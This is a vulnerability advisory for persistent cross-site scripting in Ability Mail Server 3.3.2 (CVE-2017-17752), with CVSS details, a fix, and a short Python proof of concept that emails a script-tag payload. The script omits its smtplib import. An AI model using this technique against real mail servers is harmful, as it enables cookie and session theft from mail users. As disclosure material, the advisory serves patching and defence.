Ability Mail Server 3.3.2 Cross-Site Scripting

2017.12.21
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Ability Mail Server 3.3.2 Persistent Cross Site Scripting (XSS) # CVE: CVE-2017-17752 # Date: 19-12-2017 # Software Link: http://download.codecrafters.com/ams3.exe # Exploit Author: Aloyce J. Makalanga # Contact: https://twitter.com/aloycemjr # Vendor Homepage: http://www.codecrafters.com # Category: webapps # Attack Type: Remote # Impact: Data/Cookie theft 1. Description Ability Mail Server 3.3.2 has Persistent Cross Site Scripting (XSS) via the body of an e-mail message, with JavaScript code executed on the Read Mail screen (aka the /_readmail URI). To exploit the vulnerability, the victim must open an email with malicious Javascript inserted into the body of the email. 2. Proof of Concept #!/usr/bin/env python email_addr = 'hacker@evil.local' email = 'From: %s\n' % email_addr email += 'To: %s\n' % email_addr email += 'Subject: XSS\n' email += 'Content-type: text/html\n\n' email +='<script>alert(1)</script>' s = smtplib.SMTP('<Attacker IP address', 25) s.login(email_addr, "password") s.sendmail(email_addr, email_addr, email) s.quit() 3. Solution: Update to version 4.2.4 http://download.codecrafters.com/ams.exe


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